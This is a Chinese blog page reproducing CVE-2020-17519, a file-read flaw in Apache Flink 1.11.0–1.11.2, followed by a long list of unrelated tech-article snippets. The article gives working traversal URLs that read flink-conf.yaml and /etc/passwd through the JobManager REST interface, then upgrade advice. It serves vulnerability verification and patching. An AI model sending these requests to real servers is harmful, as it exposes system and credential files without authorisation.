ps_x
ps_x

【漏洞复现】Apache Flink 文件读取（CVE-2020-17519）

0x01 漏洞描述

ApacheFlink是一个开源的流处理框架，具有强大的流处理和批处理功能。Apache Flink 1.11.0（以及1.11.1和1.11.2中发布的）中引入的更改允许攻击者通过JobManager进程的REST接口读取JobManager本地文件系统中的任何文件。

0x02 影响版本

Flink 1.11.0、1.11.1、1.11.2

0x03 漏洞复现

简单验证：
读取该文件可直接判断是否存在漏洞
http://192.168.1.1:8081/jobmanager/logs/..%252fconf%252fflink-conf.yaml
【漏洞复现】Apache Flink 文件读取（CVE-2020-17519）_第1张图片EXP：
http://192.168.1.1:8081/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd
【漏洞复现】Apache Flink 文件读取（CVE-2020-17519）_第2张图片

0x04 修复建议

升级到1.11.3或1.12.0版本！

你可能感兴趣的:(漏洞复现验证,flink,目录遍历)

  • DeepSeek 如何获取数据库中的表信息（表名和字段名称） Python测试之道 数据库python
    问题背景在测试或开发过程中，了解数据库的表结构（包括表名和字段名称）是非常重要的一环，尤其是当我们需要测试数据库相关的功能或验证数据时。然而，手动查看数据库结构可能耗时且容易出错。如果能够通过DeepSeek与数据库直接交互，自动获取表名和字段信息，将大大提升测试效率。本文将介绍如何利用DeepSeek模型结合数据库查询，自动生成表结构信息（包括表名和字段名称）。此外，还会展示如何通过自然语言描述
  • Flink 安装阿里云docker compose部署及相关组件 vellerzheng 部署运维flinkdocker大数据
    Flink安装脚本文件version:"2.2"services:jobmanager:image:flink:1.15.2-java11expose:-"6123"ports:-"8081:8081"command:jobmanagervolumes:-/home:/homeenvironment:-JOB_MANAGER_RPC_ADDRESS=jobmanagerprivileged:tru
  • 使用Wiki.js配置LDAP认证的编程学习 飘逸徜徉在自由的云端 javascript学习前端编程学习
    在本文中，我们将探讨如何使用Wiki.js配置LDAP认证。LDAP（轻量级目录访问协议）是一种常用的用于身份验证和授权的协议，它可以让我们将用户凭据存储在中央目录服务器上，以便在不同的应用程序中进行身份验证。Wiki.js是一款功能强大的开源知识管理和文档协作平台，它提供了许多扩展功能，其中之一就是支持LDAP认证。通过配置LDAP认证，我们可以让用户使用他们在LDAP服务器上的凭据登录Wiki
  • 使用Docker搭建Flink集群 O_1CxH Flink大数据Kafka大数据dockerflink容器
    目录使用Docker搭建Flink集群docker-compose一键搭建步骤附录参考资料使用Docker搭建Flink集群在学习大数据框架的时候，需要一个真实的环境。我们知道，像spark、flink这些计算框架都有多种运行模式：在本地使用多线程模拟集群真正的分布式集群如果直接在IDE（Intellj）里面编译和运行写好的程序，实际上是用的前一种运行模式；如果想尝试真正的生产环境中任务的提交和管
  • 微信小程序开发中的表单验证与数据提交 大黄鸭duck. 微信小程序notepad++小程序
    微信小程序开发中的表单验证与数据提交是一个很重要的部分，保证用户输入的数据的准确性和合法性。下面我将为您详细讲解如何进行表单验证和数据提交。一、表单验证在微信小程序开发中，我们可以使用正则表达式来进行表单验证。正则表达式是一种用来匹配字符串的强大工具，可以方便地进行数据的校验。引入正则表达式在小程序开发中，可以使用内置的正则表达式函数，比如RegExp。我们可以通过创建一个正则表达式对象，然后使用
  • Linux技巧：修复硬盘坏道 Hacker_Oldv linux运维服务器
    首先要验证硬盘是否有坏道，可以使用smartctl工具、sata-fsck命令以及Linuxsmartmontools软件包来查看硬盘状态。通过以下命令，可以检查硬盘硬件是否存在错误：$sudosmartctl-a/dev/sda如果检查结果显示出来有坏道，则可以尝试一下硬盘坏道修复方法：使用fdisk-l/dev/sda来检查硬盘坏道；如果显示出来接近空闲空间的坏道，可以使用下面的命令来修复：s
  • Spring Boot中使用RabbitMQ(2) D1561691 程序员java-rabbitmqspringbootrabbitmq
    《一线大厂Java面试题解析+核心总结学习笔记+最新讲解视频+实战项目源码》，点击传送门，即可获取！MessageBroker与AMQP简介MessageBroker是一种消息验证、传输、路由的架构模式，其设计目标主要应用于下面这些场景：消息路由到一个或多个目的地消息转化为其他的表现方式执行消息的聚集、消息的分解，并将结果发送到他们的目的地，然后重新组合相应返回给消息用户调用Web服务来检索数据响
  • go hive skynet_MMORPG游戏服务器技术选型参考-Go语言中文社区 weixin_39908948 gohiveskynet
    游戏服务器一般追求稳定和效率，所以偏向于保守，使用的技术手段也是以已经过验证、开发人员最熟悉、能HOLD为主要前提。1、典型按场景分服设计开发语言：c++数据库：mysql架构：多个网关：维持与玩家间的SOCKET连接，可处理广播、断线重连等逻辑。一个或多个账号登陆验证服务器：处理登陆、排队等逻辑。多个场景服务器：处理在本地图上能解决的逻辑，如：打怪、玩家间战斗、接任务、完成任务等各种不需要跨地图
  • spring security 实现短信登录---若依RuoYi整合短信验证码登录 菜鸡且互啄69 springjava后端
    背景：若依默认使用账号密码进行登录，但是咱们客户需要增加一个短信登录功能，即在不更改原有账号密码登录的基础上，整合短信验证码登录。本案例基于RuoYi-Vue版本实现，其他版本应该大同小异。本文参考http://t.csdnimg.cn/go78Z1自定义短信登录token验证仿照UsernamePasswordAuthenticationToken类，编写短信登录token验证。我们自己构造的这
  • Spark 和 Flink 信徒_ sparkflink大数据
    Spark和Flink都是目前流行的大数据处理引擎，但它们在架构设计、应用场景、性能和生态方面有较大区别。以下是详细对比：1.架构与核心概念方面ApacheSparkApacheFlink计算模型微批（Micro-Batch）为主，但支持结构化流（StructuredStreaming）原生流（TrueStreaming），基于事件驱动处理方式以RDD、DataFrame/Dataset作为核心抽
  • 交换机测试内容有哪些 network_tester 交换机测试测试工具信息与通信网络协议网络tcp/ip网络安全信号处理
    交换机测试是确保其性能、功能和可靠性的关键步骤，通常包括以下内容：1.功能测试验证交换机的基本功能是否正常工作：MAC地址学习：检查交换机是否能正确学习和更新MAC地址表。VLAN功能：VLAN划分和隔离。Trunk端口（802.1Q）的VLAN标签处理。链路聚合（LACP）：测试端口聚合功能是否正常。生成树协议（STP/RSTP/MSTP）：验证环路避免和链路冗余功能。广播/组播控制：检查广播风
  • 使用 Docker 查看 Elasticsearch 错误日志 一勺菠萝丶 #ELK#SpringBootdockerelasticsearchjenkins
    在使用Elasticsearch（简称ES）的过程中，我们可能会遇到各种问题。为了快速定位和解决这些问题，查看错误日志是关键。本文将介绍如何使用Docker查看Elasticsearch的错误日志，并提供一些实用技巧。1.安装Docker确保系统上已经安装Docker。可以通过以下命令验证Docker是否安装成功：dockerversion如果显示Docker的版本信息，则说明安装成功。2.下载并
  • 【数据分享】世界各国行政区划数据（免费获取/Shp格式） 小鲨鱼-立方数据学社 立方数据学社数据分享行政区划世界地图
    行政区划边界矢量数据是我们在各项研究中最常用的数据。之前我们分享过2024年我国省市县行政区划矢量数据（可查看之前的文章获悉详情），很多小伙伴拿到数据后咨询有没有世界各国的行政区划矢量数据!本次我们为大家带来的是世界各国行政区划数据！数据格式为Shp，数据坐标系为GCS_WGS_1984。我们对该行政区划数据进行了验证，精度较高。但是没有严格的科学性，大家如果使用该数据请自行判别！大家可以在公众号
  • ELK - Hearthbeat实现服务监控 如锋 ArchitectELKDevOpsELKHearthbeat服务监控KibanaUptime
    Hearthbeat，心跳，顾名思义，Hearthbeat可以用来定时探测服务是否正常运行。Hearthbeat支持ICMP、TCP和HTTP，也支持TLS、身份验证和代理。Hearthbeat能够与Logstash、Elasticsearch和Kibana无缝协作。安装Hearthbeat，添加需要监控的服务，配置好Elasticsearch和Kibana，即可将结果输出到Elasticsear
  • Flink-k8s弹性扩缩容原理和部署步骤 spring208208 flinkkubernetes贪心算法
    背景和现状目前行内提交flink作业采用Nativekubernetes模式，提交作业时会指定并行度和taskmanager使用的内存及cpu数量。这种情况下会导致在作业运行高峰可能存在资源不足问题运行低峰又会造成资源浪费，这种粗放的使用资源的模式在实时计算业务量不多的时候还可以勉强接受，而随着实时计算业务的增多，则会造成大量的资源浪费和性能瓶颈。为了使存储和计算资源得到更加合理有效的使用，能跟据
  • AWS上基于高德API验证Amazon Redshift里国内地址数据正确性的设计方案 weixin_30777913 python数据仓库云计算aws
    该方案通过无服务架构实现高可扩展性，结合分页查询和批量更新确保高效处理海量数据，同时通过密钥托管和错误重试机制保障安全性及可靠性。一、技术栈组件技术选型说明计算层AWSLambda无服务器执行，适合事件驱动、按需处理，成本低数据存储AmazonRedshift存储原始地址数据及验证结果API调用高德地理编码API提供地址标准化及验证能力开发语言Python3.9+使用requests处理HTTP请
  • C++栈内存管理：从原理到高性能编程实践 溟海. c++c++开发语言
    以下是一篇关于C++栈机制的原创技术论文框架及内容，结合语言规范、编译器实现与工程实践，包含创新性分析和实验验证：---**C++栈内存管理：从原理到高性能编程实践****摘要**本文深入剖析C++栈内存的分配机制、生命周期管理及优化策略。通过反汇编分析GCC/Clang编译器实现，验证栈帧结构与函数调用约定，提出基于现代C++特性的栈使用优化方案。实验证明，合理控制栈空间可降低30%内存访问延迟
  • DeepSeek 部署与集成实战教程 挖掘机技术我最强 AIjava人工智能
    《零基础部署DeepSeek全栈指南：从API接入到高并发优化（含避坑实录）》一、本地开发环境部署（Windows/Mac）1.前置条件准备Java环境：JDK17+（推荐AzulZulu）#验证安装java-versionjavac-versionIDE配置：IntelliJIDEA安装以下插件.envfilessupport（环境变量管理）HTTPClient（API调试）Docker（容器化
  • 模块划分的艺术：控制范围与作用范围的平衡 码农技术栈 pythonjavajavascript后端架构
    在软件设计中，模块化是构建复杂系统的基石。良好的模块划分能够提升代码的可读性、可维护性和可复用性。而“模块的作用范围应该在其控制范围之内”这一原则，则是模块划分的精髓所在。一、什么是控制范围和作用范围？控制范围指的是一个模块能够直接影响或控制的其他模块的集合。例如，一个负责用户登录的模块，其控制范围可能包括用户信息验证、权限管理等模块。作用范围指的是一个模块的功能所影响到的数据或系统的范围。例如，
  • 如何使用Django中间件 AI航海家(Ethan) Djangopython后端框架django中间件python后端postgresql
    如何使用Django中间件让访问更安全？嘿，朋友们！今天我们来聊聊如何在Django中使用自定义中间件保证某个文件夹的访问需要token验证。毕竟，有时候我们需要确保只有合法用户才能访问某些资源，对不对？什么是中间件？简单来说，中间件就是一种在Django应用请求和响应过程中拦截并处理请求的组件。它们在请求到达视图之前、在响应到达客户端之前能够进行各种操作。比如本次，我们将实现一个简单的token
  • Github手动推送和自动推送 FHKHH github
    手动推送你可以按照以下步骤手动将本地仓库的更改推送到远程GitHub仓库，使用个人访问令牌进行身份验证：1.创建个人访问令牌如果还没有创建个人访问令牌，可以按照以下步骤创建：登录到你的GitHub账户。进入Settings页面。在左侧菜单中选择Developersettings。选择Personalaccesstokens，然后点击Generatenewtoken。设置令牌的名称和权限，至少需要r
  • Python Web开发记录 Day12：Django part6 用户登录 Code_流苏 #---PythonWeb开发---#Django项目探索实验室python前端django
    名人说：东边日出西边雨，道是无晴却有晴。——刘禹锡《竹枝词》创作者：Code_流苏(CSDN)（一个喜欢古诗词和编程的Coder）目录1、登录界面2、用户名密码校验3、cookie与session配置①cookie与session②配置4、登录验证5、注销登录6、图片验证码①Pillow库②图片验证码的实现7、补充：图片验证码的作用和扩展①作用②其他类型的验证码8、验证码校验在上一篇博客中我们实现
  • golang x509 cannot validate certificate for 192.168.2.2 because it doesn‘t contain any IP SANs 乐观主义现代人 golang服务器网络golang
    此问题主要出现在有cert验证的场景中，有两种解决方案：1.修改发出请求的设备的/etc/hosts文件（这种解决方案偏运维思维，能解决问题就行）#按照要求修改/etc/hosts文件，将IP映射成符合规则的serverNameroot@SC-Server:/opt/scenter#cat/etc/hosts127.0.0.1localhost127.0.0.1SC-Server#追加内容192.
  • DeepSeek 15 天指导手册 —— 从入门到精通 扫地僧009 人工智能deepseek机器学习深度学习自然语言处理
    DeepSeek15天指导手册——从入门到精通第一章：准备篇（30分钟上手）1.1三分钟创建你的AI伙伴访问官网：在浏览器输入「www.deepseek.com」，如同打开微信般便捷。注册账号：点击右上角「笑脸图标」，选择「邮箱/手机注册」（推荐使用常用邮箱注册）。验证身份：查看注册邮箱收件箱，找到验证邮件并点击蓝色确认按钮。若未找到，可检查垃圾箱。首次登录：设置登录密码时，建议采用「大小写字母+
  • springboot+vue使用EasyCaptcha实现简单验证码 ueanaIU潇潇子 springbootvue.js图形验证码EasyCaptcha
    一、实现效果springboot使用EasyCaptcha实现简单验证码，更多api和用法可以去github上查看EasyCaptcha:Java图形验证码，支持gif、中文、算术等类型，可用于JavaWeb、JavaSE等项目。二、实现步骤1、导入依赖com.github.whvcseeasy-captcha1.6.2org.openjdk.nashornnashorn-core15.4我使用的
  • 京东（京喜）前端自动化测试之路 程序员张无忌 软件测试程序员软件测试pythonjavajsweb
    前言京喜（原京东拼购）项目，作为京东战略级业务，拥有千万级别的流量入口。为了保障线上业务的稳定运行，每月例行开展前端容灾演习，主要包含小程序及H5版本，要求各页面各模块在异常情况下进行适当的降级处理，不能出现空窗、样式错乱、不合理的错误提示等体验问题。原来的容灾演习过程：小程序（通信方式改成Https）和H5通过Whistle对接口返回进行修改来模拟异常情况，验证各页面各模块的降级处理符合预期。容
  • 在springboot加vue项目中加入图形验证码 小山曲奇 springbootvue.js后端
    后端首先先要创建一个CaptchaController的类，可以在下面的代码中看到在getCaptcha的方法里面写好了生成随机的4位小写字母或数字的验证码，然后通过BufferedImage类变为图片，顺便加上了干扰线。之后把图片转为Base64编码方便传给前端为了安全我写了encrypt方法把4位验证码加密了一下，和图片放在了Mapli传给了前端，后面的verifyCaptcha是对前端输入的
  • 区块链账户的概念与安全管理 阿湯哥 区块链
    区块链账户的概念与安全管理区块链中的账户与传统金融账户有本质区别，其核心是基于密码学的非对称加密体系，通过公私钥对实现去中心化身份验证与资产控制。以下从账户本质、创建方法及安全防护三方面详细解析：一、区块链账户的本质1.账户的核心要素公钥（PublicKey）：公开的账户地址（如以太坊的0x...），用于接收资产或验证签名。私钥（PrivateKey）：绝密的控制凭证（如64位十六进制字符串），用
  • 零基础油猴脚本保姆级学习计划，7天快速入门 星河776(重名区分) 技巧文章其他学习dubbojavascript
    「零基础油猴脚本」保姆级学习计划，共7天完成。所有步骤保证清晰无术语，附带案例和验证方法，确保小白也能跑通。───第1天：认识油猴&完成第一个脚本───安装油猴（Tampermonkey）Chrome：打开应用商店→搜索Tampermonkey→安装Firefox：附加组件商店→搜索安装Edge：同Chrome操作创建第一个脚本点击油猴图标→创建新脚本删除默认代码，粘贴以下内容：//==UserS
  • 【JavaScript】Day01 boy快快长大 前端javascript开发语言ecmascript
    1.介绍1.1JS是什么一种运行在客户端(浏览器)的编程语言，实现人机交互效果。1.2作用网页特效(监听用户的一些行为让网页做出对应的反馈)表单验证(针对表单数据的合法性做出判断)数据交互(获取后台的数据，渲染到前端)服务端编程(node.js)1.3JS的组成ECMAScript：规定了JS基础的语法知识WebAPIs：DOM与BOMDOM:操作文档，比如对页面元素进行移动、大小、添加删除等操作
  • Spring的注解积累 yijiesuifeng spring注解
    用注解来向Spring容器注册Bean。   需要在applicationContext.xml中注册： <context:component-scan base-package=”pagkage1[,pagkage2,…,pagkageN]”/>。 如：在base-package指明一个包    <context:component-sc
  • 传感器 百合不是茶 android传感器
    android传感器的作用主要就是来获取数据,根据得到的数据来触发某种事件   下面就以重力传感器为例;   1,在onCreate中获得传感器服务   private SensorManager sm;// 获得系统的服务 private Sensor sensor;// 创建传感器实例 @Override protected void
  • [光磁与探测]金吕玉衣的意义 comsci
          这是一个古代人的秘密:现在告诉大家       信不信由你们:       穿上金律玉衣的人,如果处于灵魂出窍的状态,可以飞到宇宙中去看星星       这就是为什么古代
  • 精简的反序打印某个数 沐刃青蛟 打印
    以前看到一些让求反序打印某个数的程序。 比如：输入123，输出321。   记得以前是告诉你是几位数的，当时就抓耳挠腮，完全没有思路。   似乎最后是用到%和/方法解决的。   而今突然想到一个简短的方法，就可以实现任意位数的反序打印（但是如果是首位数或者尾位数为0时就没有打印出来了）   代码如下： long num, num1=0;
  • PHP：6种方法获取文件的扩展名 IT独行者 PHP扩展名
      PHP：6种方法获取文件的扩展名   1、字符串查找和截取的方法   1 $extension = substr ( strrchr ( $file ,  '.' ), 1); 2、字符串查找和截取的方法二   1 $extension = substr
  • 面试111 文强chu 面试
    1事务隔离级别有那些 ，事务特性是什么（问到一次） 2 spring aop 如何管理事务的，如何实现的。动态代理如何实现，jdk怎么实现动态代理的，ioc是怎么实现的，spring是单例还是多例，有那些初始化bean的方式，各有什么区别（经常问） 3 struts默认提供了那些拦截器 （一次） 4 过滤器和拦截器的区别 （频率也挺高） 5 final，finally final
  • XML的四种解析方式 小桔子 domjdomdom4jsax
    在平时工作中，难免会遇到把 XML 作为数据存储格式。面对目前种类繁多的解决方案，哪个最适合我们呢？在这篇文章中，我对这四种主流方案做一个不完全评测，仅仅针对遍历 XML 这块来测试，因为遍历 XML 是工作中使用最多的（至少我认为）。 　　预 备 　　测试环境： 　　AMD 毒龙1.4G OC 1.5G、256M DDR333、Windows2000 Server
  • wordpress中常见的操作 aichenglong 中文注册wordpress移除菜单
    1 wordpress中使用中文名注册解决办法   1)使用插件   2)修改wp源代码      进入到wp-include/formatting.php文件中找到       function sanitize_user( $username, $strict = false
  • 小飞飞学管理-1 alafqq 管理
    项目管理的下午题，其实就在提出问题（挑刺），分析问题，解决问题。 今天我随意看下10年上半年的第一题。主要就是项目经理的提拨和培养。 结合我自己经历写下心得 对于公司选拔和培养项目经理的制度有什么毛病呢？ 1，公司考察，选拔项目经理，只关注技术能力，而很少或没有关注管理方面的经验，能力。 2，公司对项目经理缺乏必要的项目管理知识和技能方面的培训。 3，公司对项目经理的工作缺乏进行指
  • IO输入输出部分探讨 百合不是茶 IO
     //文件处理  在处理文件输入输出时要引入java.IO这个包； /* 1，运用File类对文件目录和属性进行操作 2，理解流，理解输入输出流的概念 3，使用字节/符流对文件进行读/写操作 4，了解标准的I/O 5，了解对象序列化 */   //1，运用File类对文件目录和属性进行操作   //在工程中线创建一个text.txt
  • getElementById的用法 bijian1013 element
            getElementById是通过Id来设置/返回HTML标签的属性及调用其事件与方法。用这个方法基本上可以控制页面所有标签，条件很简单，就是给每个标签分配一个ID号。        返回具有指定ID属性值的第一个对象的一个引用。        语法： &n
  • 励志经典语录 bijian1013 励志人生
    经典语录1:   哈佛有一个著名的理论：人的差别在于业余时间，而一个人的命运决定于晚上8点到10点之间。每晚抽出2个小时的时间用来阅读、进修、思考或参加有意的演讲、讨论，你会发现，你的人生正在发生改变，坚持数年之后，成功会向你招手。不要每天抱着QQ/MSN/游戏/电影/肥皂剧……奋斗到12点都舍不得休息，看就看一些励志的影视或者文章，不要当作消遣；学会思考人生，学会感悟人生
  • [MongoDB学习笔记三]MongoDB分片 bit1129 mongodb
    MongoDB的副本集(Replica Set)一方面解决了数据的备份和数据的可靠性问题，另一方面也提升了数据的读写性能。MongoDB分片(Sharding)则解决了数据的扩容问题，MongoDB作为云计算时代的分布式数据库，大容量数据存储，高效并发的数据存取，自动容错等是MongoDB的关键指标。 本篇介绍MongoDB的切片(Sharding)   1.何时需要分片 &nbs
  • 【Spark八十三】BlockManager在Spark中的使用场景 bit1129 manager
    1. Broadcast变量的存储，在HttpBroadcast类中可以知道 2. RDD通过CacheManager存储RDD中的数据，CacheManager也是通过BlockManager进行存储的 3. ShuffleMapTask得到的结果数据，是通过FileShuffleBlockManager进行管理的，而FileShuffleBlockManager最终也是使用BlockMan
  • yum方式部署zabbix ronin47 yum方式部署zabbix
    安装网络yum库#rpm -ivh http://repo.zabbix.com/zabbix/2.4/rhel/6/x86_64/zabbix-release-2.4-1.el6.noarch.rpm 通过yum装mysql和zabbix调用的插件还有agent代理#yum install zabbix-server-mysql zabbix-web-mysql mysql-
  • Hibernate4和MySQL5.5自动创建表失败问题解决方法 byalias J2EEHibernate4
    今天初学Hibernate4，了解了使用Hibernate的过程。大体分为4个步骤： ①创建hibernate.cfg.xml文件 ②创建持久化对象 ③创建*.hbm.xml映射文件 ④编写hibernate相应代码 在第四步中，进行了单元测试，测试预期结果是hibernate自动帮助在数据库中创建数据表，结果JUnit单元测试没有问题，在控制台打印了创建数据表的SQL语句，但在数据库中
  • Netty源码学习-FrameDecoder bylijinnan javanetty
    Netty 3.x的user guide里FrameDecoder的例子，有几个疑问： 1.文档说：FrameDecoder calls decode method with an internally maintained cumulative buffer whenever new data is received. 为什么每次有新数据到达时，都会调用decode方法？ 2.Dec
  • SQL行列转换方法 chicony 行列转换
    create table tb(终端名称 varchar(10) , CEI分值 varchar(10) , 终端数量 int) insert into tb values('三星' , '0-5' , 74) insert into tb values('三星' , '10-15' , 83) insert into tb values('苹果' , '0-5' , 93)
  • 中文编码测试 ctrain 编码
    循环打印转换编码 String[] codes = { "iso-8859-1", "utf-8", "gbk", "unicode" }; for (int i = 0; i < codes.length; i++) { for (int j
  • hive 客户端查询报堆内存溢出解决方法 daizj hive堆内存溢出
    hive> select * from t_test where ds=20150323 limit 2; OK Exception in thread "main" java.lang.OutOfMemoryError: Java heap space   问题原因： hive堆内存默认为256M   这个问题的解决方法为： 修改/us
  • 人有多大懒，才有多大闲 (评论『卓有成效的程序员』) dcj3sjt126com 程序员
      卓有成效的程序员给我的震撼很大，程序员作为特殊的群体，有的人可以这么懒，  懒到事情都交给机器去做 ，而有的人又可以那么勤奋，每天都孜孜不倦得做着重复单调的工作。   在看这本书之前，我属于勤奋的人，而看完这本书以后，我要努力变成懒惰的人。 不要在去庞大的开始菜单里面一项一项搜索自己的应用程序，也不要在自己的桌面上放置眼花缭乱的快捷图标
  • Eclipse简单有用的配置 dcj3sjt126com eclipse
    1、显示行号  Window -- Prefences -- General -- Editors -- Text Editors -- show line numbers   2、代码提示字符 Window ->Perferences，并依次展开 Java -> Editor -> Content Assist，最下面一栏 auto-Activation
  • 在tomcat上面安装solr4.8.0全过程 eksliang Solrsolr4.0后的版本安装solr4.8.0安装
    转载请出自出处： http://eksliang.iteye.com/blog/2096478       首先solr是一个基于java的web的应用，所以安装solr之前必须先安装JDK和tomcat，我这里就先省略安装tomcat和jdk了         第一步：当然是下载去官网上下载最新的solr版本，下载地址
  • Android APP通用型拒绝服务、漏洞分析报告 gg163 漏洞androidAPP分析
    点评：记得曾经有段时间很多SRC平台被刷了大量APP本地拒绝服务漏洞，移动安全团队爱内测（ineice.com）发现了一个安卓客户端的通用型拒绝服务漏洞，来看看他们的详细分析吧。  0xr0ot和Xbalien交流所有可能导致应用拒绝服务的异常类型时，发现了一处通用的本地拒绝服务漏洞。该通用型本地拒绝服务可以造成大面积的app拒绝服务。  针对序列化对象而出现的拒绝服务主要
  • HoverTree项目已经实现分层 hvt 编程.netWebC#ASP.ENT
    HoverTree项目已经初步实现分层，源代码已经上传到 http://hovertree.codeplex.com请到SOURCE CODE查看。在本地用SQL Server 2008 数据库测试成功。数据库和表请参考：http://keleyi.com/a/bjae/ue6stb42.htmHoverTree是一个ASP.NET 开源项目，希望对你学习ASP.NET或者C#语言有帮助，如果你对
  • Google Maps API v3: Remove Markers 移除标记 天梯梦 google maps api
    Simply do the following:   I. Declare a global variable: var markersArray = [];   II. Define a function: function clearOverlays() { for (var i = 0; i < markersArray.length; i++ )
  • jQuery选择器总结 lq38366 jquery选择器
      1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40
  • 基础数据结构和算法六：Quick sort sunwinner AlgorithmQuicksort
    Quick sort is probably used more widely than any other. It is popular because it is not difficult to implement, works well for a variety of different kinds of input data, and is substantially faster t
  • 如何让Flash不遮挡HTML div元素的技巧_HTML/Xhtml_网页制作 刘星宇 htmlWeb
    今天在写一个flash广告代码的时候，因为flash自带的链接，容易被当成弹出广告，所以做了一个div层放到flash上面，这样链接都是a触发的不会被拦截，但发现flash一直处于div层上面，原来flash需要加个参数才可以。 让flash置于DIV层之下的方法，让flash不挡住飘浮层或下拉菜单，让Flash不档住浮动对象或层的关键参数：wmode=opaque。 方法如下：
  • Mybatis实用Mapper SQL汇总示例 wdmcygah sqlmysqlmybatis实用
    Mybatis作为一个非常好用的持久层框架，相关资料真的是少得可怜，所幸的是官方文档还算详细。本博文主要列举一些个人感觉比较常用的场景及相应的Mapper SQL写法，希望能够对大家有所帮助。 不少持久层框架对动态SQL的支持不足，在SQL需要动态拼接时非常苦恼，而Mybatis很好地解决了这个问题，算是框架的一大亮点。对于常见的场景，例如：批量插入/更新/删除，模糊查询，多条件查询，联表查询，
按字母分类： ABCDEFGHIJKLMNOPQRSTUVWXYZ其他